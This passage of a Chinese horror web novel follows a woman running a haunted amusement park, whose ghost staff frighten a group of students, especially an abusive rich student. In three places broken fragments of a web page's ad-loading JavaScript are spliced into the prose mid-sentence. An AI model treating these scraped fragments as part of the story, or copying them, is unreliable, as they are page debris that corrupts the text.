她记得清清楚楚,游戏守则里根本就没有怨念相关的规定! 神使语塞。 人类不是都很害怕鬼怪吗? 怎么会冒出个怪胎,居然敢把怨念核心带到现实世界! 【你、你、你居然敢薅神明羊毛!】 “生意人的事怎么能叫薅呢?” 郝荨振振有词:“再说了,我这可都是为了我们尊贵的神明大人!” “你看,神明赐予我乐园做门匙是多么大的恩赐!我作为神明最忠诚的信徒,自然要努力将乐园发扬光大!” 神使眯起眼。 郝荨叹了口气:“大人,时代变了。” “您在天上久了可能不了解,咱们这个时代,只有黑心资本家才能赚到钱,老实人是没有活路的。” 【这和你薅神明羊毛有什么关系?】 副本可以生成无数个,怨念核心却只有一个。 只要有核心,就能够自动繁衍出无数个平行副本。 总之,不管她说得多么天花乱坠,它是绝对不会同意的。 “资本家最重要的是什么?”郝荨清清嗓子,“最重要的就是噶韭菜!” “而我!神明最忠诚的信徒,为了向世人传达神明的伟大,就要成为最黑心的资本家,噶最厉害的韭菜!” “比如——神明!” 图穷匕见。 神使瞪大眼睛,它简直不敢相信,竟然有人类如此无耻! 更令它无法接受的是,神明竟然允了! 【玩家天赋激活】 【激活成功】 【玩家“园长”天赋更新——资本家】 郝荨露出一个大大的笑脸,她弯下腰:“谨遵…神明教诲。” 蒋红几人身上划过一道流光,与此同时,员工图鉴上也出现了蒋红一家的名字。 【员工:蒋红一家】 【身份:[兔子之家]BOSS】 【等阶:绿】 【能力:身体虚化】 【备注:遇到人渣时请小心,他们可能会失去控制,但不要紧,合格的园长一定能够包容员工偶尔发疯。】 神使有气无力地在半空放了个礼花。 【恭喜玩家通关F级副本“兔子之家”,通关评价:S】 【你获得了:“神明赠礼”x1】 【门匙升级成功。】 【乐园等级:LV2(寂寂无名)】 【玩家“园长”获得“兔子之家”副本核心,专属游乐项目解锁成功。】 乐园地图中代表宿舍楼的区域亮起,与浅灰色的1层2层不同,三层的一小格区域被彻底点亮。 【幸福公寓系列副本之四——兔子之家】 【项目类型:沉浸式海龟汤】 【人数要求:1-5】 【难度等级:F】 【检测到园长已拥有副本专属NPC“蒋红一家”,自动生成BOSS“周志强(复制体)”,自动生成看守者“玩具熊038(复制体)”。】 郝荨弯起嘴角,成功了。 蒋红一家自此和迷雾乐园绑定,只要她不死,她们就能和乐园永存。 只是这个幸福公寓系列让她有些在意,既然有四,是不是也有一二三? 不过这些都可以暂且不提—— “快快快!我的通关奖励呢!” 郝荨搓了搓手,她已经等不及了! 【检测到该玩家为新人玩家,奖励“众神的怜悯”x1】 【道具:众神的怜悯】 【品阶:绿】 【描述:你将在下场游戏中获得一次提示,这是众神对孩子们的鼓励。】 这是对新人玩家的鼓励? 那刚才的“神明赠礼”又是什么? 黑色眼球突然往上转了半圈。 干什么?朝她翻白眼? 不等郝荨瞪眼,眼球下方挤出一张嘴来。 这嘴越张越大,密密麻麻的尖牙看着让人瘆得慌。 嘴角被绷到极致,直至撕裂。 郝荨不由自主摸上自己嘴角,声音有些虚弱:“……你做什么?” 神使的声音从它黑洞般的口中响起: 【请玩家抽取“神明赠礼”。】 郝荨:…… “你不会是想说,让我把手伸进去吧?” 神使不明所以,瞳孔咕噜一下转到嘴边,奇怪地盯着她。 似乎在疑惑为什么还不抽。 郝荨望着那些尖尖的利齿,迟疑道:“你不会咬我吧?” 神使用力翻了个白眼。 她深吸一口气,还是决定伸出手去,刚碰到时触感极其恶心,仿佛触到了一团淤泥,粘稠的手感让她忍不住皱眉。 但很快她就没心思难受了,一股强大的吸力将她的手紧紧缠住,那股力量将她的手一路吞噬到小臂,直到指尖触碰到了什么硬质物体才停下。 ……靠! 郝荨骂了一句,随手抓了一把想要拔出,却没有成功。 【不可以贪心哦,请玩家遵守游戏规则。】 郝荨皱着眉,那些物体似乎没有形状,像是快要腐烂的橡皮泥。 她不再细选,随便摸了一团便往外拔。 这次出来得很顺利,一团闪着点点星光的黑色包裹物漂浮到她眼前,外层逐渐剥落,发出耀眼的光芒—— 【恭喜玩家获得特殊技能:身临其境】 【品阶:蓝】 【身临其境:优秀的游乐项目应当让人拥有充分的沉浸式感受,使用此技能,可让某人与另一人进行情境连结,被使用者将会强制进入选中的片段,使之感同身受。】 有点失望,她还想抽个三十二倍瞄准镜呢。 算了。 郝荨摸了摸下巴,点开“兔子之家”的场景。 这感觉很奇特,像在现实世界里玩基建游戏,她能随时将房间调换位置,调整状态,就仿佛……在这座乐园中,她无所不能。 她小心地将【兔子之家】放回三楼。 考虑到不是每个玩家都像小余和法瑟那样抗打,她将308室的面积放大到占据了半层楼。 乐园很智能,面积扩大后家具也会自动配套生成。 不错。 不然她还不知道去哪找那个年代的家具呢。 蒋红攥着手指,有些紧张地听着:“我、我没有上过班,万一做不好……” “不会的。” 郝荨安慰她:“你们就跟在副本里一样就行,我只是有些担心,你们看到‘周志强’会不会难受?” 蒋红摇摇头,她瑟缩地低下头,眼珠却怪异地泛红,露出一个有些恐怖的表情:“能看到他千百次的死亡只会让我快乐,怎么会难受呢?” 郝荨笑容一僵。 差点忘了,这些怨念只是看起来无害而已。 她开始为未来的游客们担忧了。 * “唉——” 郝荨坐在宿舍前的小板凳上,手边放着个搪瓷缸。 活像个空巢老人。 一天。 整整一天了! 一个游客都没有! 白天时她注册了个迷雾乐园的账号,开业信息一经发布便迅速沉寂。 想当然的,毫无水花。 评论区只有两个骂她发布虚假信息的,连片哥都不愿意来打广 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 告! 眼看着已经到了夜里十点,一分钱没入账不说,她还花了五十块钱买泡面! 天杀的! 那么点泡面配送费竟然要她十五块! 再不来游客,她可能等不到三天后的副本死线,就会连着这座乐园一起噶! 她倒坐在板凳上,趴着发呆。 忽然,密林中闪过一束亮光。 亮度不算高,形状却很圆,是手机自带的手电筒。 随着光束逐渐变大,手机后出现了四个黑色的人影,他们跌跌撞撞地向乐园跑来。 “有光!那里肯定有人!” 冯珊珊举着唯一还有电的手机,大声鼓励大家:“加油,马上就能休息了!” 她甩开马尾,搀扶着摔了一跤的徐知,低声问道:“知知,你的腿要紧吗?” 徐知摇摇头,她咬住下唇,尽力跟上大家的脚步。 “你个女孩子逞什么强,来,我背你。” 钱季铎一把拽住徐知,徐知吓了一跳,立刻抽回手。 她小声道:“不用了。” 钱季铎“啧”了一声,欲骂又止:“……到底谁提出的要来这拍视频的,什么破地方,路都找不到!” 冯珊珊看了眼钱季铎,又看了眼徐知,眼帘微微垂下,但很快又打起精神。 “好啦,这不是小组作业嘛。” “对啊,”成一帆拍拍钱季铎的肩膀道,“都是大家一起做的决定,您就大人有大量,将就一下吧?” 钱季铎盯着徐知弧度流畅的侧脸看了一会,最终抖了抖他印满高奢LOGO的外套,从鼻子里发出一声轻嗤:“行吧,看在知知的份上。” 徐知皱着眉,默默换到冯珊珊的左侧。 冯珊珊缓缓停下脚步。 徐知疑惑:“怎么了?” 她顺着冯珊珊的视线望去,山下坐落着一片占地面积巨大的废弃建筑群,建到一半的洋楼、如战损般的古堡,以及一座亮着光的三层破旧小楼。 怎么看怎么诡异。 铁门上锈迹斑斑,大大敞开着。 在黑夜里像是一只大张着嘴的怪物,等待猎物们的到来。 成一帆迅速缩到钱季铎身后,瑟瑟发抖道:“这、这里真的有人吗?” 冯珊珊鼓起勇气,走上前去:“你、你好?” 冷风呜呜着吹过,只听“哐——”的一声,摇摇欲坠的牌匾摔倒在地,上头写着几个大字—— 乐园 牌匾的左上角用油性笔补了两个小字:迷雾。 “啊!” 成一帆没忍住发出了一声尖叫,尖叫声中还混杂了一声不属于他的短促叫声。 冯珊珊和徐知惊奇地看向钱季铎。 钱季铎沉默两秒,转头质问成一帆:“你叫什么叫!吓我一跳!” 成一帆没有搭理他,而是缓缓举起手指向他背后:“鬼……鬼!” 钱季铎吞了口口水,嘴硬道:“放屁!这世上哪里有——” 他转过头,身后乍然站着一个脸色苍白的女生。 女生长发漆黑,凌乱地披散在肩头,几缕发丝在夜风的吹袭下在脸上胡乱地拍打。 她微微抬起头,露出了一双无法细说的眼睛,瞳仁又黑又大,极致的黑与她惨白的脸形成对比,让人不由自主地产生了一种眼前这不是人而是什么人偶的恐怖谷感。 她裂开嘴角,露出一个兴奋而僵硬的笑:“欢迎……” 不知何时,周围的风声和鸟叫声一同消失,四周陷入了可怕的寂静,他们的汗毛竖起,心跳声逐渐加快—— “欢迎来到迷雾乐园。” 那不知是人是鬼的女孩脑袋一歪,眼白瞬间泛起无数血丝变得血红。 “啊啊啊啊啊啊啊啊啊——” 众人惊声尖叫。 9. 发财了! “不好意思吓到你们……” 郝荨疯狂眨着眼,好不容易才将灰尘冲洗出来,被迷了的眼睛通红一片,再配上被山风吹得惨白的脸,看起来着实有些吓人。 “没有没有,是我们打扰了。” 冯珊珊裹着二十年前的旧毛毯,手中捧着郝荨拿给他们的热水,试探问道:“园长,我们车坏了,能在这儿借住一晚吗?” 郝荨有些迟疑,她是开游乐园的,又不是开旅馆的。 成一帆缩在墙角,他到现在都不太敢看郝荨。 见郝荨不说话,他补充道:“园长,我们是来这里拍短片作业的学生,不是坏人!” 拍摄作业? 郝荨好奇望去,刚跟成一帆对上视线,对方立刻闪躲开。 “我们、我们不会白住的,住宿费您就正常算就行。” 钱! 郝荨眼睛霎时亮起。 【不行!】 神使把他们的头当蹦床,跳来跳去。 如果让成一帆看见,说不定会当场昏厥。 【乐园没有住宿功能,不能住!】 郝荨眼珠一转。 “我们这里是正经游乐园,照理说晚上是不能留人的。” 她清清嗓子,一本正经道:“但要是游客意外滞留,我们肯定也是得负责的——” 冯珊珊立刻明白了园长的意思,她赶忙道:“我们当然是游客!对吧,知知!” 徐知一懵,但在对方的使劲捣鼓下点了点头:“对。” 成一帆也立马跟上:“对啊!我们就是奔着咱们这个……呃……这个……” “迷雾乐园。”郝荨提醒。 成一帆猛点头:“对对对,我们就是奔着迷雾乐园来的!” “哈!” 唯一站着的钱季铎发出一声冷笑:“就这破地方,狗都不住,你们还求她住?还不如回车上将就一晚!我那车可是花了两百万,座椅都是高档真皮!” 成一帆拉了他一把,小声道:“咱们男生将就一下也能算了,可冯珊珊和徐知总不能跟我们一起将就吧?况且车里也不安全,听说这边山里还有狼,太危险了。” 钱季铎看向徐知,眼神幽暗,不知道在想些什么。 过了一会儿,他忽然笑了起来:“行,就住这儿。” 他掏出钱包,从里头拿出张卡甩给郝荨。 那张卡黑金配色,一看就很贵。 “你这楼我包了,三万,够了吧?” 郝荨:! 三万! 她辛辛苦苦打工一年也不一定能攒到三万! 但是神使见她心动,已经开始咬她头发了。 郝荨面上不显:“没听懂吗?我们是正经游乐园,只做游客生意。” 钱季铎一副你这种人我见多了的表情,下巴高高抬起,眼神不屑。 “行了,五万总行了吧?” 郝荨挑起眉毛,沉默不语。 “八万?” “十万!” 钱季铎开始上头:“怎么?还准备坐地起价?!” 他两步上前,情绪激动道:“就这种烂尾楼能有什么好玩的?还游乐园呢!回头就叫我爸来推掉!” 冯珊珊和成一帆一边一个拉住他,正要打圆场,钱季铎指着郝荨再次开口:“我劝你别得寸进尺,十万,别说包你这个什么垃圾游乐园,包你都绰绰有余!要不是车坏了,谁会来你这种地方啊!” 此话一出,场面顿时冷了下来。 郝荨迅速挑了下眉毛。 “你、你怎么能说这种话?” 冯珊珊不敢置信地望着钱季铎。 钱季铎似乎也有些后悔,他快速看了徐知一眼。 徐知低着头,无动于衷。 “我那都是……听我那兄弟说的!就,成子也知道!” “啊?啊…对、对……”成一帆心虚点头。 郝荨拍了两下掌:“十万,可以。” 不等钱季铎给出反应,她继续说:“我们今天第一天营业,作为第一批顾客,你们拥有半价特权,原价198,现价只需99元即可游玩我们的新项目——F级副本【兔子之家】哦。” 郝荨在背后戳了一下神使。 ‘去看看蒋红睡了没,让她准备准备,多·多·关·照一下那个浑身LOGO的。’ 神使绕着她飞了一圈,出了门。 “那么几位怎么付账呢?” 郝荨拿出系统给的刷卡机,动作熟练地从钱季铎的黑金卡里刷出十万。 钱季铎满头问号:“有没有搞错,你刷了我十万,还要付钱?” 郝荨学着他的样子将卡甩回去。 “是这样的,我们迷雾乐园呢是正经游乐园,游乐项目当然要付钱啦,你的十万只是给园长——也就是我的精神损失费哦。” 徐知拿出自己没电的手机,示意了一下道:“园长,我们可以等稍微冲一下电再给钱吗?” 她长得很漂亮,虽然不算很精致,但极有艺术感,像是一汪有故事的泉水。 郝荨看着这张脸,心情很好的表示同意。 徐知松了口气,她不太擅长与人打交道,幸好园长脾气很好,人也很好说话。 她选择性遗忘了郝荨坑了钱季铎十万块的事。 “那么接下来,我会讲解一下迷雾乐园的故事背景。” 郝荨指引着大家爬上楼梯。 钱季铎非常生气,本想用力踹楼梯以示不满。 但这楼实在恐怖,他从出生起就没见过这么破的楼,总感觉这楼梯很不结实,会一脚踩空摔下。 他只好吞下要骂出口的脏话,小心爬楼。 “欢迎各位玩家来到迷雾乐园。” “二十年前,这座乐园先后迎来过四任主人,第一任主人在巡查时意外失足致死,第二任主人因欠工程款被群殴导致死亡,第三任主人上任不到半月离奇失踪,第四任主人还未上任就出现了幻觉,游乐园因此废弃……” 三楼到了,沾满灰尘的灯泡忽闪忽闪,郝荨停下脚步,她转过张开双手:“——直到第五任主人的到来。” “而我,就是这座游乐园的主人,你们可以称呼我为——园长。” 灯泡“啪”一声灭了。 成一帆:! 他偷偷缩进钱季铎的阴影中,捂住耳朵。 园长的声音悠悠响起:“想破解迷雾乐园的秘密吗?新人玩家们。” “想!” 冯珊珊很是兴奋,她玩过很多密室和剧本杀,但还没玩过真实感这么强的,这就是传说中的沉浸式游戏吗? “那就要看你们能否走到最后了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,请注意!每个副本都有自己独特的规则与挑战,充满了未知和危险,你们作出的选择将会影响剧情的走向,如果实在害怕的话可以朝任意一个方向比出暂停手势,我们会派人接你们。” 郝荨掏出几张纸递给他们:“那么,现在确认一下大家的身体状况,有心、脑病史和胆小的玩家请勿参与,具体事项都写在上头了,没问题的话就签字吧。” 钱季铎拎着确认事项同意书晃了晃,嘀咕道:“搞得还挺正规……” 郝荨装作没听到,她忽然想起什么,从口袋里掏出四颗星星糖果分发给他们:“如果实在害怕,可以将这个送给NPC。” 成一帆很不想签,但这园长看起来也不像正常人,如果他不玩游戏的话,就得一个人和园长这帮人待在一起…… 郝荨将注意事项一一收回,她移开脚步:“恭喜大家选中F级副本【兔子之家】,游玩时间约四十五分钟,友情提示:请谨慎对待NPC。” 她露出一个充满兴味的笑: “游戏开始。” 阴暗的楼道中,四个大学生面面相觑,冯珊珊主动提出走在第一个: “【兔子之家】这个名字听起来也不是很可怕,可能不是恐怖向的?” 徐知打量着四周,这里的场景做的很真实,墙面上贴的报纸已经发黄,她试着触碰了一下,纸张脆得一摸就碎,她吓了一跳,不知道要不要赔钱。 “真的吗?”成一帆虚弱的声音响起,他安慰自己道,“肯定是真的,这才F等级,不会太恐怖的,而且【兔子之家】——说不定是亲情温馨向的呢?” “嘁,你们还真害怕啊?” 那个眼神很凶的男人走了,钱季铎又支棱起来:“就这种地方能有什么恐怖的,顶多搞几个弱智机关贴脸吓吓你们而已,又偏又穷,说不定一会儿那园长还得自己装鬼来吓人,看我不搞回去!” 他摸了一把墙壁上的红色痕迹:“你们看,连血都不是,油漆而已,都是假的!” 他话音刚落,贴着308门牌号的铁门“嘎吱”一声开了。 “我靠!” 钱季铎瞬间往后退了一步,撞在成一帆身上。 他连忙找补:“就这?傻瓜才会怕吧!” 冯珊珊和徐知互相挽着手,拉开门,门后站着一只脏兮兮的玩具熊,它打开电灯开关,嘴巴轻轻开合,露出了肉色的口腔内里: 【欢迎玩家来到F级副本[兔子之家]。】 【本关卡为问题考核关卡,考核过程中,玩家队伍可进行最多三次的提问,我将回答‘是’、‘否’或‘与此无关’。】 【很久以前,这里生活着温馨幸福的兔子一家,勤劳的丈夫、温柔的妻子、和可爱的孩子们,但从那一天起,一切都变了……】 【接下来,玩家请听题——】 …… 郝荨回到房间往床上一坐,窗台上咕噜噜滚过来滚过去一个黑色眼球。 老实说,还挺吓人。 她点开光屏里的迷雾乐园界面,看起来像是在打模拟经营游戏。 副本地图里塞着四个Q版小人,点开小人后还会显示他们的人物状态。 等等。 游戏才刚开始十分钟,钱季铎怎么已经惊吓值35了,只比一看就很胆小的成一帆将将低了5点,发生什么了? 10. 退出!我要退出!!! 钱季铎忍不住挠了挠脖子,从进门开始他就总觉得哪里不对劲。 这间房子比想象中面积要大一些,内里活动空间却还是很挤,各式各样的老式柜子挤挤挨挨地摆在一起。 之前泡妹子的时候他也玩过一些恐怖游戏,这种障碍物设计……怎么看怎么像是有追逐战的模样。 柜门轻轻晃动了一下,发出一声木头不堪重负的声响。 他立刻回头,一双黑白分明的眼睛一闪而过。 “!” “怎么了?” 见他猛地大喘气,冯珊珊还是没忍住,询问他道。 “……没什么,吓人的小计俩罢了。” 钱季铎握拳,突然将柜门打开,里面空空如也。 “哼,有密道吧。” 他冷笑道:“刚刚里头有个装鬼的,估计是准备跳出来吓你们,被我发现才跑了,溜得还挺快。” 他转头望向一直低着头不知在看什么的徐知。 “像这种装鬼的NPC都喜欢盯着胆子小的吓,知知还是跟着我吧?” 钱季铎靠在柜子上,单脚弯起,露出自己最锋利的下颌线:“别害怕,他们吓不到我!” 徐知皱了皱眉,握住记录本的手指尴尬地蜷缩起来。 “不用了,我跟珊珊一起就好。” “那、那你带我吧!” 成一帆小步靠近他,不知哪来的风吹得他后脑勺发凉。 “啧。” 钱季铎正要抬腿离开,突然感觉有什么东西拽了自己的裤脚。 他迅速回身,柜子里依然什么都没有。 “……你踩到我了?”他狐疑地看向成一帆。 成一帆一脸害怕的怂样,听到这话,他茫然抬头:“啊?” “我知道了!” 冯珊珊指着本子大声说:“这个小梅肯定有问题!” 她“哗哗”翻着册子怒气冲冲道:“你看前面都是很温馨的家庭内容,但是自从小梅出现之后他就完全不提那些小孩了,肯定又是个抛妻弃子的渣男!最好小梅就是女鬼,吓死周志强这个渣男!” 钱季铎听得不太舒服,这个冯珊珊讲话真难听,活该找不到男朋友! 也不知道是不是在指桑骂槐。 但聪明人都知道,还没把妹子泡到手,千万不要得罪她的闺蜜。 于是他一言不发径自去了主卧,主卧的床虽然也很破旧,但比楼下宿舍的上下床宽敞多了。 钱季铎一把掀开被子,绣着百花花样的喜被下什么也没有,只有几道奇怪的深色痕迹,像是脏污。 他摸了一把,没摸出什么东西来。 钱季铎:“你们玩吧,我要睡会儿,成子,你给我望风。” 成一帆一个人有些害怕,但钱季铎脾气不好,他犹豫片刻后还是苦着脸答应了下来。 钱季铎翻身上床。 “草!” “怎么了?” 成一帆被他吓了一跳,他回头看去,只见钱季铎侧着身,从屁股口袋里翻出一颗五彩斑斓的糖果。 糖纸包成星星模样,其中一个尖角已经被他压扁。 钱季铎攥紧糖果用力扔出屋外。 “诶!不是,那糖果不是说保命道具吗?!” “呵呵,瞧你那怂样!” 钱季铎不以为然:“NPC也就是给我们打工的狗,还能真把上帝吓出毛病来?” 他没有再搭理成一帆,而是倒头就睡。 * 郝荨挑起眉毛惊叹道:“在主卧睡觉,这么牛?” 【睡觉?】 神使不动了。 【温馨提示:优秀的游乐园要让每个游客都宾至如归,请不要让游客不满意哦。】 郝荨眉头一皱。 她是一个优秀的资本…不是,游乐园园长,没有一个游客能从她的游乐园里失望离开! 她看向自己新鲜出炉的技能【身临其境】,露出了满意的微笑。 * 308号房呈现了鲜明的两方阵营。 钱季铎和成一帆待在主卧挂机摸鱼,冯珊珊则和徐知一起认真寻找线索。 她们重新回到了走廊中。 “这里真的有线索吗?” 冯珊珊趴在墙上揉了揉眼睛,为了符合氛围,走廊灯光异常昏暗。 “我记得有看到过,好像叫什么周某……” 徐知是个学霸,虽然算不上过目不忘,但瞬时记忆也比平常人好上一些。 “我不行了!眼睛快瞎了!” 冯珊珊晃晃脑袋,她看着徐知耐心的侧脸,忽然开口: “你……你为什么不喜欢他啊?” “谁?” 徐知一愣,不小心将手中的报纸拽了下来:“钱季铎?” 冯珊珊脚尖无意识地摩擦地面,她低下头,“嗯”了一声。 “……”徐知沉默片刻,“你还记得廖青吗?” 廖青曾经是隔壁系的系花,清纯又漂亮,一入校就有无数男生追求,却在与钱季铎恋爱一个月时不知道被谁曝光了隐私照片。 她大受刺激,最终办理了退学。 “不是说她精神有问题吗?我记得当时查下来说,那照片上根本就不是钱季铎,廖青却信誓旦旦说是他,实则是她为了挽留钱季铎才选择了自爆来威胁他?” 当时这件事在他们学校闹得很大。 钱季铎虽然是学校里有名的富二代,但风评一直还不错,除了换女友的频率比较高外,他为人大方,又喜欢呼朋唤友请大家出去玩,无论在老师还是男生群体里人气都很高。 事情刚爆出来时大家还很可怜廖青,直到学校论坛里突然曝光了一张她去精神病院接受治疗的旧照。 据说,她的病情一直不稳定,具体名词她也记不清了,只记得和妄想症有关,需要长期吃药才能稳定病情。 钱季铎说自己得知女友情况后一直在帮助她,包容她,只是他确实没想到这个病情发作起来这么恐怖,实在坚持不下去了才选择分手。 没想到廖青会选择自爆来威胁他。 “你觉得钱季铎在骗人?”冯珊珊有些不敢相信。 钱季铎长得帅又有钱,除了有点大少爷脾气外,人一直都很好,她也对他有点说不清道不明的好感。 但今天不知道他怎么了,就好像突然变了个人似的,暴躁不说,对园长也很不尊重。 长期带来的滤镜仿佛一瞬间破碎,她顺着这个思路仔细想去,不由得打了个激灵。 “我不知道。” 徐知认真地说:“我只知道他看我的眼神很……恶心,我拒绝过他很多次,他就跟听不懂我说的话一样,每次都装作没听见。” 两人一时陷入沉默。 走廊上的灯泡发出“刺啦刺啦”的声响,她们立刻抬头望去,忽明忽暗的光线中,墙上的红漆痕迹愈发明显,就像是皮肤下渗出的血液,慢慢鼓起,顺着墙面向下扭曲滑动。 “狐狸精?” 徐知和冯珊珊异口同声念道。 她们对视一眼,冯珊珊率先开口:“这人眼3D的效果好厉害。” 作为新媒体系的学生,她们对数字媒体新技术都多少有些了解,像这样的质感在视频里很容易做出,实际肉眼去看却会很假。 但眼前的场景却好像真的有粘稠的血液在流下一般,太厉害了! “啪!”灯泡忽然炸开。 两人尖叫一声,抱在一起。 徐知用气声说:“真、真的炸了?” “好、好像是的?” 冯珊珊忽然觉得脊背发凉,她小声抽着气,头慢慢扭回—— “!” 308门口站着一个小女孩! 三四岁的模样,绑着两个小揪揪,手中搓着一支老旧的竹蜻蜓。 似乎是发现了她们的目光,小女孩停下手中的动作。 “姐姐……” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >女孩陡然抬起脸,身体一瞬间缺氧泛红,两只眼睛黑洞洞的。 “姐姐,你们看到我妈妈了吗?” 徐知倒抽一口冷气。 门开了,成一帆缩着脖子:“怎么了?” 冯珊珊立刻指向门口。 “什么?”成一帆探出头去,什么都没有。 既没有小女孩,也没有竹蜻蜓。 就这么一眨眼的功夫! 冯珊珊有些腿软,徐知撑住她,摇了摇头:“没什么,灯泡坏了。” “哦……” 成一帆拍拍胸口:“吓死我了。” 他回到卧室,被吵醒的钱季铎捏了捏鼻根,一脸烦躁:“吵死了!” 说完后,钱季铎又重重躺下。 他抱怨道:“她们女生就是一惊一乍的…都怪你们!要不是冯珊珊非要拉我进组,我现在怎么会躺在这种破地方连个觉都睡不好!” 自从进了这个小组,他就倒霉的要命! 来这种偏门的地方拍摄,刚买的新车还坏了! 莫名其妙跑到这个破烂游乐园里,那园长还得寸进尺! 徐知也是,给脸不要脸! 他还从来没在女生身上花过这么多心思,一个月了,连个手都不给摸! 真是倒霉他妈给倒霉开门,倒霉到家了! 钱季铎心头莫名涌起一股无名火,后背却感觉发凉,冷热交杂着在身上互相挤压。 他开始怀疑,自己不会发烧了吧? 大声骂了几句,他把自己塞进了被子里。 成一帆被骂得头都不敢回,他也不敢说明明是钱季铎自己想追徐知才进的这个组,现在又要怪别人…… 等人睡着了他还是去找冯珊珊她们吧。 时间不知过去了多久,钱季铎迷迷糊糊地听到了几声异响。 “咚、咚。” 他翻了个身,用枕头将耳朵捂住。 “咚、咚。” 异响却还是穿过枕头传进了耳中,就好像是……离他很近的地方发出的。 睡意消失,如芒在背的感觉渐起。 旁边有人? 钱季铎微微睁开眼,与一张大脸对了个正着! 那是一张略显眼熟的男人的脸,长相敦厚,乍一眼看上去很是老实,再细看却哪儿哪儿都觉得不对。 “小红,快起来,领导来了。” 什么小红什么领导? 他刚想质问对方是谁,成一帆哪去了。 下一秒,却被一股巨力拽起。 房门悄悄合上,屋内传来了噼里啪啦的打斗声和钱季铎惊恐至极的叫骂声。 …… 漫长的时间过去,钱季铎在床上拼命挣扎。 他猛地惊醒,浑身大汗淋漓。 屋内没有人。 他喘了口气,是噩梦啊…… 钱季铎再次躺下,梦里那些陌生男人的嘴脸在他脑中不停盘旋,痛感好像仍在持续似的,一阵恶心感从胃里不断翻涌上来,都是一群垃圾! 尤其是那个男的! 看着老实,居然让自己老婆做那种事! 钱季铎又惊又怒,他蜷缩起身体。 不知是不是他的错觉,总觉得鼻子里有股怪味,又腥又臭。 他再次昏昏欲睡,半梦半醒间,仿佛摸到了什么冰凉的东西,入手有种诡异的弹性,带着点粗糙的质感,还有点……毛! 钱季铎一下被这种熟悉的恶心感惊醒。 本该平坦的被子逐渐拱起,有什么要钻出来了! 他大脑一片空白,颤抖着掀开被子,被子下那张青白如死尸的脸分外熟悉,正是梦里那具身体的丈夫—— 周志强! 他的头先拱了出来,随后跟上的是他的小腿、腹部、脖子……最后是他的手,那堆肉块缓缓爬上他的身体,他双目圆睁,瞳孔剧烈抖动,发出了一声撕心裂肺的惨叫—— “退出!我要退出!!!” 11. 我可真是一个良心园长 “他怎么晕了?” “不知道啊,我回来就发现他倒在这儿了!” “那现在怎么办?掐人中吗?” “啊?这能行吗……园长来了!” 郝荨小跑着进门,冯珊珊三人连忙让开,露出了倒在卧室门口的钱季铎。 他翻着白眼趴在地上,嘴里还在无意识地喊着“不要!”“糖……”和“救命!”。 郝荨:…… 这“身临其境”的效果着实有些出乎她意料。 还好工头的房里有药箱。 她取出不知道有没有过期的嗅盐放到钱季铎鼻下,一股难以言喻的浓烈臭味扑鼻而来。 “呕!” 钱季铎干呕着醒来,郝荨立刻盖上盖子。 成一帆冲到他面前,关心道:“没事吧?发生什么了?” 他刚想看看钱季铎是不是着凉发烧,对方却反应剧烈地挥开他的手: “滚!别碰我!!” 成一帆吓了一跳:“你怎么了?” 钱季铎喉头滚动了几下,不受控地吐了出来。 “呕——” 郝荨:! 她的楼脏了! “对不起啊园长,他可能生病了。”冯珊珊替他解释道。 “我们会打扫干净的,真的对不起。” “没事。” 郝荨也有些心虚:“对了,你们玩得怎么样?好玩吗?” 说到这个,冯珊珊可起劲了:“园长,你也太厉害了!我去过很多密室,都没有你们这种沉浸的真实感,光影效果可以说做到了极致,一眨眼场景就跟变了一个似的,太牛了!” “是啊,吓了我一大跳呢!演员也很敬业,那个小女孩是蓉蓉吗?她就跟真的鬼一样,来无影去无踪,还有那个周志强,是机器人吗?看起来就像真的肉块一样,差点没把我吓晕!” 成一帆虽然还有些后怕,但对场景机关的好奇压倒了这份恐惧,他眼睛亮亮地盯着郝荨询问道。 郝荨眼神飘忽,她总不能告诉他那些都不是人吧…… “嗯——都是商业机密,不能说的哈。” “我们懂!” 冯珊珊拼命点头:“最后蓉蓉给我们提示妈妈在哪的时候我真的好害怕,好怕床打开出现一个女鬼贴脸杀!还好蒋红是好鬼,还为了我们大战周志强,给周志强打得头掉,爽!” 郝荨:……? 等等,还有这种结局? 她望向躲藏在门后的蒋红,见她看过来,蒋红露出了个讨好的笑。 而在她的身后,几个小孩正挤在一起偷偷分糖果。 郝荨深吸一口气:“恭喜玩家通关F级副本【兔子之家】,成功打出HE,以后有机会还可以来打别的结局哦。” “还有别的结局!” 冯珊珊兴奋地揽住一直没说话的徐知:“知知,我们放假之前再来一趟吧?” 徐知反应有些迟钝,她后知后觉道:“……啊,好啊。” “那你们好好休息吧,空房间随便住,走之前打扫干净就行。” 说完,郝荨便转身离开。 她走后,冯珊珊兴奋的表情褪去。 她有些复杂地看着吐了一地,身上又脏又臭瑟瑟发抖的钱季铎,只觉得自己以前是不是瞎了,居然觉得这人帅。 她实在忍不住质问道:“钱季铎,廖青的照片真的是她自爆的吗?” 钱季铎一愣,“廖青”这两个字一出,理智重新占据高地。 他一抹嘴巴,正要斩钉截铁说当然!脑海里却不知怎的回想起渣男周志强破破烂烂的肉块身体……和被肉块吞噬的自己。 他沉默很久,最终扭过了头,没有开口。 冯珊珊明白了。 她失望移开视线,与徐知一同快步离开。 洗漱完毕,冯珊珊爬到上铺。 这里的房间虽然老旧,但看得出园长努力打扫过了,很干净。 她惆怅地叹了口气:“没想到他竟然是这样的人,还好你没被他骗到……知知?” 她翻身坐起,攀着栏杆向下看去。 徐知直愣愣地盯着窗外,不知道在想什么。 “徐知!” “……啊?” “你想什么呢?”冯珊珊一脸好奇。 徐知眼神有些放空,她迟疑许久开口道:“我总觉得蒋红的故事好像在哪听说过……” “新闻吗?这种事也算是屡见不鲜啦,毕竟渣男常常有嘛!” 徐知笑了一下,没再回话。 虽然想不起来,但总觉得似乎不像珊珊所说…… 她带着困惑进入了梦乡。 第二日。 中午的太阳透过窗户照射进来,打在了一楼唯一一间单人床上,郝荨伸了个懒腰,真是好久没有睡到自然醒了。 她揉了揉自己还充满睡意的脸,懒懒散散走出门去。 昨天那四个大学生已经离开,他们在门口的评价册上留下了三个五星好评—— 以及一个差评。 郝荨盯着那个差评看了许久,在做一个独裁资本家和良心园长中犹豫了一会儿,最终还是没有将它撕下,而是在旁边写了备注: 